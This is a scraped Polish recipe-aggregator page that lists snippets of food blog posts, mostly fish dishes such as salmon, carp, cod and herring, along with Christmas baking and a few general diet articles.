0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Lubicie smaki Azji, ryby ,przy tym nie stronicie od szybkich oraz aromatycznych dań, to serdecznie zapraszamy. Wszystko max 25 minut. Składniki: 2 szalotki 2 łyżki pasty tom kha 1 łyżeczka żółtej pasty curry(...)woka). Pomidory sparzamy, usuwamy skórę i gniazda nasienne, miąższ kroimy w ósemki. Do cebuli i pora dodajemy pomidory, liście kaffiru, pastę curry i tom kha. Smażymy kilka minut, dodajemy rybę, pokrywamy przyprawami. Wlewamy 2/3 mleka kokosowego, dodajemy cukier palmowy i suszoną kolendrę. Dusimy. W tym czasie w pozostałym mleku kokosowym rozrabiamy mąkę. Dodajemy do całości, zagotowujemy. Z ryżu formujemy kulki

R'n'G Kitchen
Szybka surówka z białej rzodkwi i marchewki, Idealna do mięs i ryb 92

Dzień dobry :)  Dzisiaj mam dla Was propozycję szybkiej i pysznej surówki z marchewki, białej rzodkwi i jajka. Idealny dodatek do mięs i ryb.   Składniki: 2 duże marchewki 2 średnie białe rzodkwie 1 cebula 2 jajka ugotowane na twardo sól, pieprz, szczypta chili do smaku 1 łyżeczka płaska przyprawy maggi 2 łyżki majonezu lub według uznania Wykonanie: Warzywa(...)tarce.   Przyprawiamy do smaku solą, pieprzem, szczyptą chili i magą. Dodajemy majonez i jeszcze raz wszystko mieszamy. Odstawiamy na kilka minut do przegryzienia smaków. Idealna do mięs, ryb, ryżu, kasz. Smacznego

Sama słodycz i szczypta chili
Łosoś na cytrynach! 140

Najprostszy sposób na łososia, to łosoś z piekarnika na cytrynach, z dużą ilością warzyw. Całe danie robi się około 25 do 30 minut. Najbardziej lubię jeść ryby właśnie tak bardzo prosto przyrządzone, bez zbędnych przypraw. Świeża i pyszna ryba to klucz sukcesu.  Dodatek odrobiny masła, cytryny ewentualnie świeżej natki pietruszki czy odrobiny czosnku to totalny max! Polecam

SMYKWKUCHNI
Dorsz z patelni z marchewką i groszkiem 99

Przepis na filet z kurczaka z marchewką i groszkiem cieszył się niebywałym powodzeniem. Przepis znajdziesz tutaj . Takie samo połączenie smaków zastosowałam do przygotowania ryby. Dorsz w sosie z marchewką i groszkiem okazał się równie pyszny. To prosty sposób na szybki obiad. Danie jest kolorowe, zdrowe i pełne smaku, a ryba miękka i soczysta

Gotuj zdrowo!Guten Appetit!
Gravlax w Buraczkach – Marynowany Surowy Łosoś 67

słoiczka) 250g buraczków surowych 40ml śliwowicy 1 pęczek koperku 1 limonka Wykonanie Szklane naczynie, wielkością pasujące do łososia wykładamy folia spożywczą z dużym zapasem, tak aby potem zawinąć rybę. Buraki obieramy i ścieramy na grubych oczkach. Z limonki ścieramy skórę, sok wyciskamy. Koper drobno siekamy. Łososia oczyszczamy z łusek i z ości, dokładnie obsuszamy papierowymi ręcznikami. Wykładamy do naczynia(...)folię, skórą w dół. Rybę równomiernie pokrywamy solą, cukrem. Na wierzch delikatnie rozsmarowujemy chrzan i układamy starte buraczki, skrapiamy śliwowica, sokiem z limonki, posypujemy koperkiem i skórka z limonki. Szczelnie zakrywamy folią – tym naszym zapasem Dobrze jest czymś obciążyć, my kładziemy deseczkę i na niej np. słoiki z przetworami . Tak przygotowanego łososia wkładamy do lodówki na 48 godzin

Tajemnice Smaku
Pasta z makreli i jajek 188

adsbygoogle = window.adsbygoogle || []).push({}); Pasta z makreli i jajek zaraz po paście jajecznej moja ulubiona pasta śniadaniowa. Nie jemy w domu za dużo ryb, bo mąż za nimi nie przepada, jest typowym mięsożercom. Dlatego dla mnie wędzona makrela jest świetnym sposobem na przemycenie ryb w posiłkach, ponieważ akurat za tym przepisem przepada i często go robimy na weekendowe śniadania

To Musisz Wiedzieć
Obiady w 15 minut. 60 przepisów na obiady w 15 minut 149

serem na słodko Tradycyjne Pierogi leniwe. Kluski leniwe. kopytka . do podsmażonej cebulki z boczkiem Naleśniki bez jajek z twarogiem i wiśniami Naleśniki budyniowe bez jajek Kotlety rybne najlepsze Ryba smażona z patelni Jajka z kiełbasą i papryką. Szakszuka z kiełbasą i papryką Ryba smażona panierowana w mące Ryba w cieście naleśnikowym Ryba w cieście piwnym Chilli con carne . Błyskawiczna fasolka

Damsko-męskie spojrzenie na kuchnię
Jak przyspieszyć metabolizm 126

Przyjmuje się, że jest to średnio dwa litry.  (adsbygoogle = window.adsbygoogle || []).push({}); ODPOWIEDNIA ILOŚĆ BIAŁKA W DIECIE  Zawsze ludzie się mnie pytają i dziwą, dlaczego jem tyle mięsa, ryb, twarogu i jajek. Odpowiedź jest bardzo prosta - między innymi dla zwiększenia metabolizmu. Organizm musi się trochę napracować, aby wydobyć energię z pożywienia, a w szczególności białka, które kosztuje(...)ekstremalnie aktywne metabolicznie . Żaden inny składnik odżywczy nie ma aż takiego wpływu na nasz metabolizm. WITAMINY Witaminy z grupy B - dostępne w produktach zbożowych, drożdżach, wołowinie, rybach, nabiale, orzechach (już wiecie, dlaczego wcześniej pisałam o białku). Wpływa ona również na prawidłowe funkcjonowanie tarczycy, która będąc w złym stanie potrafi zrujnować metabolizm.  Kolejna przydatna jest witamina

zdrowo i aktywnie
Jak przyspieszyć metabolizm 511

Przyjmuje się, że jest to średnio dwa litry.  (adsbygoogle = window.adsbygoogle || []).push({}); ODPOWIEDNIA ILOŚĆ BIAŁKA W DIECIE  Zawsze ludzie się mnie pytają i dziwą, dlaczego jem tyle mięsa, ryb, twarogu i jajek. Odpowiedź jest bardzo prosta - między innymi dla zwiększenia metabolizmu. Organizm musi się trochę napracować, aby wydobyć energię z pożywienia, a w szczególności białka, które kosztuje(...)ekstremalnie aktywne metabolicznie . Żaden inny składnik odżywczy nie ma aż takiego wpływu na nasz metabolizm. WITAMINY Witaminy z grupy B - dostępne w produktach zbożowych, drożdżach, wołowinie, rybach, nabiale, orzechach (już wiecie, dlaczego wcześniej pisałam o białku). Wpływa ona również na prawidłowe funkcjonowanie tarczycy, która będąc w złym stanie potrafi zrujnować metabolizm.  Kolejna przydatna jest witamina

Zdrowie i pysznie na talerzu
Insulinooporność - z czym to się je? 129

tłuszczowe wykazują korzystny wpływ na poprawę wrażliwości komórek na insulinę. Warto więc zadbać o to, by przynajmniej 2 razy w tygodniu na naszym stole pojawiały się dania z tłustych ryb. Osoby, które z jakichś powodów nie mogą jeść ryb powinny rozważyć ewentualną suplementację tych kwasów; fruktoza - warto ograniczać ten cukier w diecie, zwłaszcza jeśli pochodzi z soków, napojów

Z notatnika dietetyka
Jeśli nie mięso, to co? 101

należący do rodziny morwowatych, stosunkowo mało popularny w Polsce, choć na świcie doceniany. Wykorzystywany jest w celu zastąpienia mięsa drobiu, wieprzowiny i wołowiny, a także ryb(...)celiakię lub nietolerancję glutenu – stąd jego japońska nazwa guruten-mito , mięso glutenowe.  Tempeh Jest to indonezyjski produkt fermentowany powstający na bazie ziaren soi. Najczęściej służy jako zamiennik ryb, gdyż jest bardzo podobny do ich mięsa pod względem faktury. Charakteryzuje się wysoką zawartością białka, witamin z grupy B oraz żelaza. Tofu Jest to serek sojowy powstający podczas procesu

Z notatnika dietetyka
Pieczony łosoś w panierce miodowo-musztardowej (Filetti di salmone in crosta di miele e senape) 90

Filety z  ł ososia układamy na natłuszczonej formie sk ó rą do dołu. Panierkę wykładamy na filety, dokładnie dociskając do ryby. Rybę  pieczemy ok. 15-20 minut. Serwujemy od razu po przygotowaniu. **** Riscaldate il forno a 200 gradi. Ungete una pirofila con dell'olio e mettete i filetti

La grande e la piccola cuoca
Słowacka sałatka ziemniaczana z jajkami 110

Słowacka sałatka ziemniaczana z jajkami w zalewie słodko-kwaśnej Kuchnia słowacka nie jest zbyt popularna w naszym kraju, a szkoda. Chociaż jest dość ciężka i tłusta

Korniszonki
10 najlepszych zdrowych diet odchudzających 96

długowieczności. Dieta obejmuje żywność bogatą w owoce i warzywa, zwłaszcza cytrusy, orzechy, produkty pełnoziarniste, rośliny strączkowe i oliwę z oliwek. Zawiera również chude źródła białka – ryby i drób zamiast czerwonego mięsa. Plan diety śródziemnomorskiej zaleca regularne spożywanie czerwonego wina w umiarkowanych ilościach. 3. Dieta fleksitarna Ta kombinacja dwóch słów – elastyczny i wegetariański – podkreśla(...)Połączenie dwóch diet z kilkoma korzyściami zdrowotnymi, Dash i Mediterranean, stało się bardzo popularne. Lista zalecanych produktów spożywczych obejmuje zielone warzywa liściaste, orzechy, jagody, fasolę, produkty pełnoziarniste, ryby, drób, oliwę z oliwek i wino. Dietetycy proszą o unikanie czerwonych mięs, masła i kija margaryny, sera, słodyczy oraz smażonych lub fast foodów. 6. Terapeutyczne zmiany stylu życia

jakszef.pl
Leniwe pierogi, czyli kluski dla leniwych z białym serem 144

Pierogi leniwe , pyszne kluski z twarogiem Leniwe pierogi , leniwe kluski lub po prostu leniwe to klasyka polskiej kuchni. Delikatne kluseczki z twarogu i mąki można przygotować

Korniszonki
Ryba. Po grecku. 100

skąd się wzięła nazwa potrawy. Grecy są bardzo zdziwieni, bo nie mają z tym nic wspólnego, a my nie potrafimy wytłumaczyć nikomu jak to się stało, że nasze danie rybą grecką jest. Niemniej jednak bezsporny pozostaje fakt, że danie jest pyszne, proste i idealne na każdą imprezę! Składniki - filet z dorsza 1/2 selera(...)smaku ·         Wszystkie warzywa należy zetrzeć na zapałkę ,cebulę pokroić w piórka i dusić pod przykryciem około 30 minut. Pokrojoną na kawałki rybę obtoczyć mąką i smażyć. U mnie- na oleju kokosowym. ·         Do uduszonych warzyw dodać puszkę pomidorów, liście laurowe, sól, pieprz, cukier i dalej gotować

Z Kuchni Do Kuchni
Smażony karp w zalewie octowej 60

ilość ości jakoś nie poszły tak szybko jak pozostałe jego części. Wymyśliłam sobie, że w końcu zrobię go w zalewie. Rzecz banalna w wykonaniu. Coś akurat dla smakoszy ryb. Jak smażę karpia zazwyczaj obtaczam go w mące i jajku. Teraz też zrobiłam tak samo. Niektórzy używają tylko samej mąki, dlaczego nie. W sumie to rzecz smaku w tym przypadku(...)Karp przeszedł pięknie smakiem zalewy. Ta porcja zalewy wystarczyła mi na 1 słoik 0,9 l i 1 słoik 0,5 l. Taką przekąskę można przygotować z każdego rodzaju ryby. Ważne by była to tuszka, oczywiście świeża ewentualnie mrożona. Smacznego! Lidka Artykuł Smażony karp w zalewie octowej pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Lasagne z łososiem, szpinakiem i serem 86

dodać szpinak. Dodać przeciśnięty przez praskę czosnek, gałkę, sól i pieprz. Szpinak dusimy przez 15 minut. Teraz przygotujemy farsz łososiowy: Można użyć dzwonków lub kostki z łososia, fileta. Rybę skrapiamy sokiem z cytryny, solimy i pieprzymy. Rybę zawijamy w lekko natłuszczoną folię i pieczemy w temperaturze 200 stopni przez około 30-40 minut. Po upieczeniu rybę rozdrabniamy. Na sam koniec

Smaczne Potrawy
Wigilijna kapusta z grzybami 130

Wigilijna kapusta z grzybami Wigilijna kapusta z grzybami to moje ulubione świąteczne danie. Wspaniale smakuje nie tylko podczas wigilijnej wieczerzy ale także w pierwszy i drugi

Korniszonki
Zupy i barszcze wigilijne – kuchnia podkarpacka 106

zwyczaj podawania na Wigilię 12 potraw. Jednak tam, gdzie nie ma wielu domowników, nie ma siły, albo nie ma środków, na wigilijną wieczerzę podaje się co najmniej 2 dania: rybę z ziemniakami i zupę. W naszym regionie na tradycyjnych wigilijnych stołach wcale nie dominuje barszcz czerwony. Znacznie częściej są to wszelkie odmiany zup grzybowych – te na wywarach grzybowych, na zakwasie(...)zagotowujemy. Doprawiamy solą i pieprzem. Podajemy z całymi gotowanymi ziemniakami. (źródło: KGW Zboiska, „Dukielskie specjały – gdzie i kto”) Zupa rybna wigilijna Zupa rybna wigilijna - kuchnia podkarpacka Składniki: 500 g ryby (mogą być głowy karpia) włoszczyzna (2 marchewki, pietruszka, kawałek selera, por) 1 cebula 1 listek laurowy kilka ziaren pieprzu kilka ziaren ziela angielskiego sól 1 łyżeczka masła 1 żółtko

Trzeci talerz
Kotleciki z suszonych grzybów 129

Kotleciki grzybowe z suszonych prawdziwków Kotleciki z suszonych grzybów oraz panierowane kapelusze prawdziwków robiła moja św. pamięci Babcia. Na wiele lat grzybowe kotleciki zniknęły z naszego

Korniszonki
Staropolski piernik dojrzewający z orzechami, skórką pomarańczową i rodzynkami 106

Piernik staropolski z orzechami, rodzynkami i skórką pomarańczową Prawdziwy piernik staropolski dojrzewa dwa razy - pierwszy raz po zarobieniu ciasta, drugi raz po upieczeniu. Ten piernik , pełen

Korniszonki
Pierniczki z okienkiem witrażowym na Boże Narodzenie 177

Pierniki z witrażem z landrynek Pierniczki z okienkiem wypełnionym witrażem z landrynek to piękna i pyszna ozdoba świąteczna. Ich wykonanie jest banalnie proste, a efekt końcowy

Korniszonki
Karp w migdałach i grzybach / Carp in almonds and mushrooms 69

cebuli aż zacznie się rumienić. Dodaj starte pieczarki, zmielone grzyby i listki tymianku. Smaż około 10 minut. Dodaj zmiksowane migdały, dopraw solą i pieprzem, smaż jeszcze 2 minuty. Wyciągnij rybę z lodówki godzinę przed pieczeniem. W naczyniu do zapiekania rozłóż masło pokrojone w kostkę. Większość farszu grzybowo-migdałowego włóż do wnętrza karpia, resztę rozłóż na dnie naczynia. Włóż rybę(...)formy, obłóż ją dookoła piórkami cebuli, plastrami pieczarek i całymi grzybami oraz grubo siekanymi migdałami (garść zachowaj). Całość posyp solą i pieprzem. Na wierzchu połóż plastry cytryny. Wstaw rybę do piekarnika nagrzanego do 190°C i piecz 40 minut. Następnie polej karpia 2 łyżkami oliwy i posyp pozostałą garścią migdałów. Piecz jeszcze 10 minut. Ingredients: 1 large gutted carp (without

Delicious Place
Karp w śmietanie czosnkowej 82

posiekany 300 ml kremówki sól, pieprz, przyprawa do ryb olej kilka łyżek mąki pszennej Karpia myjemy, kroimy na mniejsze kawałki. Posypujemy z dwóch stron solą, pieprzem, przyprawą do ryb. Zakrywamy folią i odstawiamy na min 30 minut do lodówki. W tym czasie przygotować czosnek i cebulę, posiekać na drobno. Mąkę wsypać na talerz, kawałki karpia dokładnie obtoczyć

gotuj ze mną
Kruche ciastka z pieczątką 186

Kruche ciastka z pieczątką Ciastka z pieczątką lub ciastka ze stempelkiem są uroczym i pysznym dopełnieniem nie tylko świątecznych posiłków. Ich przygotowanie to czysta przyjemność, szczególnie

Korniszonki
Śledzie po kaszubsku 2308

Śledzie to obok karpia najpopularniejsze ryby, których nie może zabraknąć w okresie świąt Bożego Narodzenia. Mój mąż uwielbia te ryby i dlatego przyrządzam je czasami bez okazji. Dzisiaj był taki dzień. Takie śledzie robiłam pierwszy raz, aby wypróbować przepis przed świętami i na pewno pojawią się one u mnie na stole wigilijnym Polecam również  śledzie w miodzie

Danka Pichci
Pierniczki z mąki żytniej. Przedwojenny przepis na fit pierniki! 194

Pierniczki z mąki żytniej . Przedwojenny przepis na żytnie pierniki bez tłuszczu, jajek i cukru Dziś polecam przedwojenny przepis na fit pierniczki z mąki żytniej . Po pierwsze

Korniszonki
Domowa skórka pomarańczowa 144

Kandyzowana skórka pomarańczowa smażona w cukrze Skórka pomarańczowa do klasyczny dodatek do wielu tradycyjnych wypieków - serników, pączków, mazurków, babek drożdżowych lub keksów. Dzisiaj kandyzowana skórka pomarańczowa

Korniszonki
Świąteczne triki kuchenne – Przygotuj perfekcyjne święta! 123

pozwoli ci zachować wszystkie witaminy oraz mikroelementy  w warzywach. Twoje posiłki będą na pewno o wiele zdrowsze i smaczniejsze. (adsbygoogle = window.adsbygoogle || []).push({}); Jak ugotować idealną zupę rybną? Głowa ryby jest najlepszą częścią do przygotowania zupy rybnej, pamiętaj(...)wyjęciu uczu. Możesz też dodać inne podroby takie jak płetwy czy ogon. Do zupy rybnej najlepiej nadaje się karp, jego mięso nie rozpada się podczas dłuższego gotowania. Pamietaj! Rybę dodaje się pod koniec gotowania. Ryba szybko oddaje swój smak, a długie gotowanie sprawia, że się bardzo rozpada. Świąteczne triki kuchenne – Jak upiec idealne ciasto? Najważniejszą zasadą jest to, żeby

To Musisz Wiedzieć
Sól ziołowa 114

tymiankiem. Wprawdzie jest w niej jeszcze czosnek i rozmaryn, ale to te dwie pierwsze przyprawy grają pierwsze skrzypce. Dlatego doskonale sprawdzi się jako dodatek do kurczaka czy też ryby. Sól z cytryną, tymiankiem, rozmarynem i czosnkiem Składniki: 200 g soli gruboziarnistej 1 pęczek świeżego tymianku 2 ząbki czosnku skórka otarta z 1 cytryny Skórkę z cytryny, obrany czosnek(...)grubości soli. Ostatnia propozycja jest najmniej czasochłonna ze wszystkich - wystarczy ze sobą wymieszać sól i suszone zioła. Jest też najbardziej uniwersalna. Nadaje się do dań z pomidorów, zup, sosów ryb czy makaronu. Sól z oregano i bazylią Składniki: 100 g soli gruboziarnistej 5 g suszonej bazylii 5 suszonego oregano  2 g granulowanego czosnku Sól wymieszać z suszonymi ziołami

My simple kitchen
Ryba z brukselką 168

ryby (u mnie zębacz smugowy) 1/2 pora (zielona część) 1/2 czerwonej papryki 200 g brukselki sól, pieprz słodka papryka Przygotowanie: Pora i paprykę pokroić, wrzucić … Czytaj dalej Ryba z brukselką

czarrna od kuchni
Klopsy z karpia lub dorsza 112

porcji wyszło 10 dużych klopsów. Karpia wyfiletować, zdjąć skórę. Dokładnie oczyścić z ości. Jak małe zostaną to się nie martwić bo ryba będzie zmielona. Jeśli dostaniecie filet z karpia to już mniej pracy. Oczywiście możecie zrobić z innej ryby. Ziemniaki oskrobać, marchewki obrać. Ugotować ziemniaki i marchew do miękkości w osolonej wodzie. . Odlać i ostudzić. Rybę zmielić przez maszynkę

Kuchnia Pokoleń
Ryba (dorsz) zapiekana w sosie keczupowym i serze 114

zapiekaną rybę z piekarnika. Z sosem pomidorowym i serem jest soczysta i smaczna.  500g polędwicy z dorsza  200g dobrej jakości keczupu  150g tartej mozzarelli sól, czosnek niedźwiedzi, czosnek granulowany 1. Polędwiczki obficie obsypujemy solą i pieprzem. Układamy w naczyniu żaroodpornym.  2. Keczup mieszamy z solą i przyprawami. Tak powstałym sosem smarujemy kawałki ryby. Posypujemy startym(...)serem. 3. Rybę zapiekamy w temperaturze 200 stopni do zarumienienia przez około 30 minut

Szefowa kuchni
Wegański obiad nie tylko dla wegan – szybko i zdrowo 123

zioła wzbogacą smak dania. Możemy dodać do ryżu kilka kropel oleju roślinnego, jeśli uznamy, że ryżowa mieszanka tego wymaga. Tak przygotowane danie może stanowić obiad, lub być dodatkiem do ryb, klopsów lub mięs. Oczywiście jeśli obiad z założenia ma być wegański to ryby i mięso podajemy tylko w wersji roślinnej. Wegańskie paluszki rybne lub klopsiki sojowe są dostępne

sierotka maRysia w kuchni
Puszysty sernik limonkowy 162

Sernik limonkowy puszysty jak chmurka Puszysty sernik limonkowy Czas przygotowania: 90 min. | Liczba porcji: 16 | Kuchnia światowa   | Rodzaj dania: ciasto Sernik limonkowy z serka mascarpone

Korniszonki
Ciasteczka korzenne z lukrem 122

Ciasteczka korzenne z lukrem Ciasteczka korzenne z lukrem Czas: 10 min przygotowanie + 20 min pieczenie | Liczba porcji: 40 | Kuchnia polska  | Rodzaj dania: ciastka Ciasteczka korzenne

Korniszonki
Kotleciki z tuńczyka z koperkiem 121

córka, która samego nie bardzo zje, ewentualnie w paście do kanapek. Tak więc przemycam ryby w inny sposób, choć nie powiem, paluszki rybne uwielbia. Wolimy zamiast kurczaka zjeść rybę, więc chce im urozmaicić, żeby się za szybko nie znudziła. Tym razem kotleciki zrobiłam z koperkiem. Wyszły pyszne, polecam i miłego dzionka życzę :-) Składniki: 2 puszki tuńczyka w sosie własnym

kruche babeczki
Jabłecznik z kruszonką na cieście półkruchym 155

Jabłecznik z kruszonką na cieście półkruchym Jabłecznik z kruszonką na cieście półkruchym to kolejna pyszna odmiana ciasta z jabłkami . Warto wypróbować ten przepis ponieważ ciasto jest

Korniszonki
Pieczone udka z kaczki z żurawiną i rozmarynem 160

Przepis na pieczone uda z kaczki z żurawiną, rozmarynu i sokiem pomarańczowym Pieczone udka z kaczki to świetna propozycja na niedzielny obiad. Są proste i szybkie

Korniszonki
Genialna sałatka na ciepło z selera naciowego i ravioli 126

Sałatka na ciepło z selera naciowego i ravioli Ta pyszna sałatka na ciepło powstała zupełnie przez przypadek. Dzisiaj szukałam przepisu na duszony seler naciowy , gdyż w

Korniszonki
Jabłecznik z kruszonką i pianką 147

Jabłecznik z kruszonką i pianką Jabłecznik to ciasto, które od zawsze gości na naszych stołach. Można piec go z ciasta kruchego, półkruchego, ucieranego lub biszkoptowego. Dziś

Korniszonki
Modra kapusta babci Rysi 167

Modro kapusta - przepis babci Rysi Modra kapusta , modro kapusta to tradycyjne danie kuchni śląskiej, zwyczajowo podawana do rolady i klusek śląskich. Ten przepis pochodzi akurat ze

Korniszonki
Ciasteczka z mleczną czekoladą 125

Ciasteczka z mleczną czekoladą Wszyscy kochamy ciasteczka, szczególnie te z kawałkami czekolady rozpływającej się w ustach. Ten przepis na ciasteczka z mleczną czekoladą to kolejna wariacja

Korniszonki
Kalarepka po grecku – post Ewy Dąbrowskiej 116

warzywa, które przygotowujemy do tradycyjnej ryby po grecku, jednak w tym przypadku, wedle wytycznych diety są ugotowane bez dodatku tłuszczu i podawane jako samodzielne danie (bez ryby). Kalarepka po grecku to bardzo sycące danie, dietetyczne, wegańskie, bezglutenowe, beztłuszczowe. Po inne przepisy w poście warzywno – owocowym odsyłam was do zakładki „ Dieta dr Dąbrowskiej „ Całe danie zawiera 472 kcal. PRZEPIS

Dorota Smakuje
Andrut kajmakowy 150

Andrut kajmakowy Andrut kajmakowy to ulubiona słodka przekąska nie tylko naszych dzieci. Ten pyszny deser można przygotować dosłownie w 15 minut - wykorzystując gotową masę kajmakową. Można

Korniszonki
Białkowiec z kokosem 139

Białkowiec z kokosem Białkowiec , ciasto białkowe , biszkopt z białek to super ciasto, dzięki któremu można wykorzystać nadmiar białek. Ciasto białkowe może być bazą do tortu - jako

Korniszonki
Czerwona kapusta kiszona w słoikach 157

Czerwona kapusta kiszona w słoikach   Kiszona czerwona kapusta to niezwykły przysmak. Pięknie wygląda i doskonale smakuje. Czerwoną kapustę można zakisić o każdej porze roku, ale

Korniszonki
Zupa cebulowa - sprytny sposób na czerstwy chleb 124

Zupa cebulowa z czerstwy chlebem Zupa cebulowa z dodatkiem chleba to dobry sposób na wykorzystanie kilku kromek czerstwego chleba. Ta pyszna zupa może nie ma pięknego

Korniszonki
ROZGRZEWAJĄCA ZUPA RYBNA ZE SZPINAKIEM 106

plasterki. Papryczkę chili myjemy, osuszamy i drobno kroimy. Imbir obieramy ze skórki i ścieramy na tarce. Marchewkę i pietruszkę obieramy, myjemy, suszymy i kroimy w cienkie słupki.  Ryby myjemy, osuszamy ręcznikiem papierowym, usuwamy skórę i kroimy w kostkę. W garnku rozgrzewamy olej i wrzucamy cebulę oraz pora. Smażymy do zeszklenia, a następnie dodajemy czosnek, papryczkę chili oraz starty(...)Dodajemy słupki marchewki oraz pietruszki, chwilę podsmażamy, a następnie zalewamy wodą ok. 1,5 litra. Zagotowujemy i gotujemy na wolnym ogniu przez około 20 min. Do zupy dodajemy pokrojoną rybę i gotujemy jeszcze przez około 15 min. Przyprawiamy sokiem z limonki, sosem sojowym, solą oraz pieprzem. Na końcu dodajemy umyte liście szpinaku i gotujemy jeszcze ok. 5 min. Na talerz

Kuchnia MagdaLeny
ROZGRZEWAJĄCA ZUPA RYBNA ZE SZPINAKIEM 106

plasterki. Papryczkę chili myjemy, osuszamy i drobno kroimy. Imbir obieramy ze skórki i ścieramy na tarce. Marchewkę i pietruszkę obieramy, myjemy, suszymy i kroimy w cienkie słupki.  Ryby myjemy, osuszamy ręcznikiem papierowym, usuwamy skórę i kroimy w kostkę. W garnku rozgrzewamy olej i wrzucamy cebulę oraz pora. Smażymy do zeszklenia, a następnie dodajemy czosnek, papryczkę chili oraz starty(...)Dodajemy słupki marchewki oraz pietruszki, chwilę podsmażamy, a następnie zalewamy wodą ok. 1,5 litra. Zagotowujemy i gotujemy na wolnym ogniu przez około 20 min. Do zupy dodajemy pokrojoną rybę i gotujemy jeszcze przez około 15 min. Przyprawiamy sokiem z limonki, sosem sojowym, solą oraz pieprzem. Na końcu dodajemy umyte liście szpinaku i gotujemy jeszcze ok. 5 min. Na talerz

Kuchnia MagdaLeny
Bardzo czekoladowe American Cookies 124

Czekoladowe ciasteczka amerykańskie - double chocolate American Cookies American Cookies to już prawdziwa klasyka amerykańskiej kuchni. Te przepyszne ciasteczka pieczone są z różnymi dodatkami i zawsze wychodzą

Korniszonki
Zupa serowa 362

Rozgrzewająca zupa serowa Zupa serowa to pyszne, bardzo pożywne danie, które można przygotować dosłownie w 15 minut. Z dodatkiem korzennych przypraw będzie super rozgrzewaczem na zimowe

Korniszonki
Dorsz z sosem borowikowym 102

osobiście uwielbiam grzyby, i właśnie podczas jesiennych miesięcy staram się je łączyć z innymi produktami, które pojawiają się w mojej kuchni.  Tym razem na towarzysza pięknych borowików wybrałam rybę. Rybę najpierw upiekłam  w piekarniku z dodatkiem rozmarynu. Podałam go w sosie borowikowym, który przygotowałam z  dodatkiem białego wytrawnego wina. To była prawdziwa jesienna uczta. Zobaczcie jak prosto(...)dodajemy śmietanę. Gotujemy przez 20 minut bez przykrycia, raz na jakiś czas mieszając, aby sos się nie przypalił. Pod koniec dodajemy przyprawy i koperek, po czym dokładnie mieszamy. Upieczona rybę polewamy sosom i od razu podajemy

Kulinarne przygody Gatity
Tradycyjne powidła śliwkowe bez cukru 129

Tradycyjne powidła ze śliwek węgierek bez cukru Tradycyjne powidła śliwkowe najlepiej udają się ze śliwek węgierek. Można je robić zarówno z pierwszych śliwek, które dojrzewają już

Korniszonki
Chutney z gruszek 86

Chutney z gruszek wytrawny dżem z gruszek do mięs, wędlin, ryb, serów i sałatek Chutney z gruszek - przepis na pyszny słodko - ostry dodatek do wielu dań poznałam niemal rok temu dzięki Agacie Wojdzie. Od siebie dodałam odrobinę pikanterii w postaci chili. Chutney gruszkowy z chili, dyni(...)cebuli jest banalnie prosty do zrobienia. Zazwyczaj podaję go na zimno, ale równie dobrze smakuje na ciepło, pasuje do pieczonego mięsa, deski serów, kanapek z wędliną, a nawet do ryb. Pikantny chutney z gruszek można podawać także jako sos do makaronu Chutney z gruszek - Cztery Fajery Chutneye to rodzaj dżemów z owoców lub warzyw. W Indiach słodki lub wytrawny

Kulinaria - potrawy z różnych stron świata
Amandine - tradycyjny tort czekoladowy z Rumunii 183

Tradycyjny rumuński tort czekoladowy - Amandine Amandine to tradycyjny rumuński tort . Czekoladowy biszkopt, przełożony kremem czekoladowym i obficie nasączony syropem znany jest w Rumunii jako „Amandine” lub

Korniszonki
Ryba w sosie porowym 174

ulubionej ryby (u mnie molwa – dorszowata) 1 średni por po pół zielonej i czerwonej papryki 1 fenkuł 1 mały jogurt naturalny pieprz ziołowy czosnek … Czytaj dalej Ryba w sosie porowym

czarrna od kuchni
Wykwintna marmolada pomarańczowa z dynią i migdałami 121

Marmolada pomarańczowa z dynią - super przepis na pyszny dodatek Marmolada pomarańczowa świetnie sprawdzi się jako dodatek do ciast, kanapek i deserów. Ten na marmoladę przepis zawiera

Korniszonki
Pasta jajeczna z awokado 118

Pasta jajeczna z awokado Pasta jajeczna z awokado to ciekawa odmiana w codziennej diecie i świetna alternatywa dla tradycyjnej pasty jajecznej. Tę piękną, zielono-żółtą pastę

Korniszonki
Patronaty medialne Prostych-przepisów nad książkami wydawnictwa Vital! 81

książce zebrał swoje ulubione przepisy na proste do przyrządzenia ketogeniczne potrawy z łatwo dostępnych składników. Znajdziesz tu dania z warzyw, sałatki i dressingi, potrawy z jaj, mięsa, ryb i drobiu, a także wrapy, zupy i zapiekanki. W publikacji znajduje się łącznie 450 przepisów na każdy posiłek dnia. Przygotowywane dania są wolne od glutenu, sztucznych słodzików czy wzmacniaczy smaku. Poza(...)Hans-Ulrich Grimm Mięso pełne kłamstw. Jak nie dać się otruć przemysłowi mięsnemu Polacy są w zdecydowanej większości mięsożerni. Wieprzowina, drób, wołowina i ryby królują na naszych stołach, a w ostatnich latach dołączają do nich coraz powszechniejsze i łatwiej dostępne owoce morza w różnym wydaniu. Nie wyobrażamy sobie niedzielnego obiadu bez mięsa, a wielu z nas spożywa je częściej

Proste-przepisy.pl
Sałatka grzybowa do słoików 151

Sałatka grzybowa do słoików Sałatka grzybowa do słoików to szybki i pyszny sposób na zagospodarowanie resztek grzybów - nóżek, brzydkich kapeluszy, ostatnich sztuk, które nie zmieściły się

Korniszonki
Placek tarty czarno-biały 176

Placek tarty czarno biały, znany też jako pleśniak Ciasto tarte towarzyszy mi od dzieciństwa. Robiła je moja babcia, ciocia i mama, a po wielu latach odnalazłam

Korniszonki
pstrąg i ziemniaki ze szpinakiem,mozzarellą z piekarnika... 91

jakiś czas zamieszać. Szpinak wymieszać z pokrojoną mozzarellą i włożyć połowę do pstrąga, wierzch pstrąga natrzeć masłem z solą i zawinąć w folię srebrną, rybę położyć na blaszce z papierem do pieczenia, obok ryby położyć podgotowane ziemniaki, na ziemniaki wyłożyć resztę szpinaku. Piekarnik nagrzany na 200C, grzanie góra/dół, piec około 40 minut, można pod koniec ziemniaki nakryć

W Mojej Kuchni Lubię
Sushi – przepis 119

